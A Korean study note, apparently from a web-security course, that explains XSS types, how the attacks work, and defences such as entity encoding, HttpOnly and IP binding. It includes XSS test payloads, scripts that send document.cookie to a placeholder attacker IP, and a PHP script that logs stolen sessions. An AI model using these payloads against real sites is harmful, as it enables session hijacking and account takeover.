[BackDoor] 섹션5. XSS

XSS란

: Cross-Site Scripting, 동적으로 출력하는 페이지에 대해 클라이언트 언어로 작성된 악의적인 스크립트를 삽입하여 비정상적 행위를 하는 공격

- 클라이언트측 공격

- 사이트가 a에서 b로 이동(그래서 Cross)

 

공격대상

1. 기능적인 공격 대상

   - 웹 사이트에서 어떤 기능에 대해 공격을 진행할지 선택 필요

  - 입력을 받아 동적인 웹페이지를 구성하는 모든 곳에서 발생 가능, 잠재적 위협 노출

  - 웹페이지 내에 출력되지 않아도 어딘가에 입력이 된다면 무조건 공격 가능

2. 엔드 포인트 단의 공격 대상

  - 공격대상이 사용자로 고정

  - 공격 유형 중 세션 하이재킹을 통해 서버를 속일 수 있다(이를 위해 ip 검증을 하기도)

  - 스크립트를 클라이언트 언어로 작성하여 서버에선 공격이 일어나지 않음

  - 웹 브라우저에 그대로 뿌려서 웹 브라우저가 그걸 해석해도록 함(특정 페이지 접속 등)

 

공격 유형

1. 피싱

악의적 사용자가 유도한 사이트로 리다이렉트

a를 b로 리다이렉트로 유도하여 홍보

2. 악성코드 유포(랜섬웨어)

강제 악성코드 다운로드 및 실행 후 악성코드 설치

- Drive-by Download(DBD)

   정상 사이트 -> 해커의 사이트로 접속 -> 웹 브라우저 취약점을 이용해 권한을 얻음

3. XSS Tunnel(XSS Shell)

사용자 웹 브라우저 권한 획득, 대부분의 행위 가능

공격자 - 공격자가 세팅한 서버 - 희생자를 잇는 터널이 생김

희생자 서버를 통한 접속, 커서로깅, 키로깅

4. 세션 하이재킹

사용자 세션 탈취 -> 재사용, 권한 탈취

5. CSRF

악성 스크립트에 의해 악의적인 사용자가 의도한 행위를 함

 

공격기법

1. DOM-Based XSS(Non Persistant)

    DOM: 문서 객체 모델, html에 접근하기 위한 표준 api

    웹 브라우저에서 사용자 입력값을 통해 동적 페이지 구성

    발생 확률이 낮음, 사용자 입력을 웹 브라우저에서 받는건 특수한 환경

2.Reflected XSS(Non Persistant)

    서버측에서 사용자 입력값을 통한 동적 페이지 구성(일반적 구성)

    서버의 응답에 입력값이 담겼을 때 서버측에서 페이지 구성을 하는 것을 추측 가능

3.Stored XSS(Persistant)

    디비에 저장된 데이터를 통한 동적 페이지 구성

    DB에 악의적 스크립트 저장 -> 사용자가 이 레코드를 참조 -> 스크립팅 발생

 

공격 원리 분석

1. DOM

    1) 공격자가 사용자에 악성 스크립트가 담긴 URL(공격자의 서버가 아님) 전달(도메인은 위험 X), 피싱 유도 링크

    2) 서버의 응답에는 악성스크립트가 담기지 않음(지극히 정상적인 응답)

    3) 웹브라우저의 자바스크립트 엔진이 js를 해석할때 악성 스크립트가 담긴 페이지를 구성함. 이때 문서에 접근하기 위해 DOM을 사용

    4) 스크립팅 발생으로 공격자가 의도한 행위(공격자 서버 접속) 실행

2. Reflected XSS

    1) 악성 URL을 사용자에 제공 -> 사용자 접속

    2) 웹 서비스의 어플리케이션이 악성 스크립트가 담긴 페이지를 구성 -> Body에 악성 스크립트가 담김 

    3) 사용자에 전달된 스크립트의 실행

    4) 공격자가 의도한 행위 실행

3. Stored

    1) 게시글, 댓글 등을 통해 악성 스크립트가 담긴 구문 저장 -> DB 저장

    2) 사용자가 해당 게시글, 댓글 조회

    3) DB에 저장된 악성 스크립트 호출

    4) 악성 스크립트가 내용, 제목 안에 구성됨

    5) 스크립트 발생으로 공격자 의도 행위 실행

 

unescape: url 디코딩

substring으로 query string의 value를 파싱하고 이를 특정 id를 갖는 요소에 주입하여 요소를 변경(innerHTML)

 

xss 취약점 확인 방법

alert(), confirm(), propmt()

<script>alert(document.cookie)</script>
<img src="" onerror="alert(document.cookie)"/>

 

실습

1. DOM

    정상 주소 뒤에 #(주석)을 통해 방화벽을 우회하고 브라우저 단에서 이를 실행

    <사용 가능한 메소드>

    document.write, document.writeln, document.domain, document.URL, document.referrer, document.documentURL

    location.href, location.search, location.hash

    someDOMElement.innerHTML, someDOMElement.outerHTML, someDOMElement.insertAdjacentHTML, someDOMElement.onevent

    window.name 등

    운영중인 서비스의 DOM Base를 찾는 것은 까다로운 일

2. Reflected

    입력값이 응답값에 구성되어 반환

    값을 입력하고 페이지를 검색했을 때 입력값이 없다면 해당 취약점이 없다고 판단 가능

    입력값이 그대로 출력될 때 존재할수도 있다고 판단(but, 입력값 검증이 있을 수 있음)

3.stored

공격에 편리하며 접근성이 높음

3-1. 세션하이재킹

    세션: 사용자를 식별할 수 있는 수단(굉장히 중요)

    세션 하이재킹 = 세션 탈취가 가능 → id/pw를 몰라도 사용자 계정 도용 가능

    공격 원리(Stored를 통해)

    1. stored 공격 진행 후 공격자 서버로 세션을 보내는 스크립트가 실행 → 공격자가 이를 탈취 및 사용

        조건) 웹 브라우저가 달라야 함

        <script>location.href="http://{공격자 ip}/{세션 탈취 파일 위치}?session="+document.cookie</script>

    2. 연결 연산자로 세션이 실리도록함(근데 이건 리다이렉트 돼서 눈치채기 쉬움)

        <script>new Image().src="http://{공격자 ip}/{세션 탈취 파일 위치}?session="+document.cookie</script>

3-2. 파일 입출력 이용

<?
$session = $_GET["session"];
$ip = $_SERVER["REMOTE_ADDR"];
$date = date("Y-m-d H:i:s", time());
$fp = fopen("rowdata.txt", "a");
fwrite($fp, "{$date} | {$ip} | {$session}\r\n");
fclose($fp);
?>

버프스위트를 이용해 setcookie를 활성화시켜서 탈취

 

<>를 막지 않았을 때

마이페이지도 관리 필요(관리자 페이지에서 악성스크립트가 발생하여 중요 데이터가 노출될 위험이 있음) -> 특수문자 대응 필요

sql 인젝션 처럼 "><script>{공격구문}</script>을 입력하면 script가 실행될 가능성 있음

<>를 제거하거나 입력하지 못하게, &gt/&lt로 대치

 

"를 막지 않았을 때

" onfocus="alert(document.cookie)" autofocus=" (포커스가 갔을 때 띄우고 자동 포커싱)

"를 막기

 

대응 방안

가용성-보안성 관계로 인해 다른 취약점보단 까다로움

상황별로 대응할 문자가 다르며 사용자 입력값에 대한 용도를 파악할 필요가 있음

 

입력값에 따른 대응 방안

1. 숫자, 단순 문자(+숫자) → 정규표현식

2. 문자+특수문자 → 특정 패턴이 있다 = 정규표현식 / 없다 = html 사용 여부

    ', ", <, > 사용 O → 보안 라이브러리 사용 | 보안검증 + 보안 라이브러리 직접 제작(고려할 게 많다)

                      사용 X → html entity encoding(메타 문자가 아닌 엔티티로 치환해서 출력)

이것들을 다 고려한 후 동적 페이지를 구성하고 데이터베이스에 저장한다.

 

엔티티 인코딩 방식

1. 미리 바꿔서 디비에 넣기(추천!)

2. DB에는 그냥 넣고 출력할 때 바꾸기(출력되는 포지션이 전부 파악되어야함)

 

※ 함수를 하나 만들어서 일괄적으로 싹 대치해버리는 것이 간편

※ 파일업로드 하는 곳 주의!(파일명을 바꾸는 과정에서 삽입될 가능성 있음)

 

세션하이재킹 대응 방안

1. xss 방어

2. HTTPOnly 헤더 적용
    document.cookie를 통한 객체 접근이 불가능

3. 세션 발급시 인증 IP 넣기(IP 검증)

     다르면 세션을 파괴, 매번 IP를 검증해야한다는 불편함이 있음

     세션에 IP값을 넣음

     세션 발급 받을 때의 IP와 접속 IP가 같은지 검증

     허점: 공인 IP 경우(카페 등)에는 안 먹힌다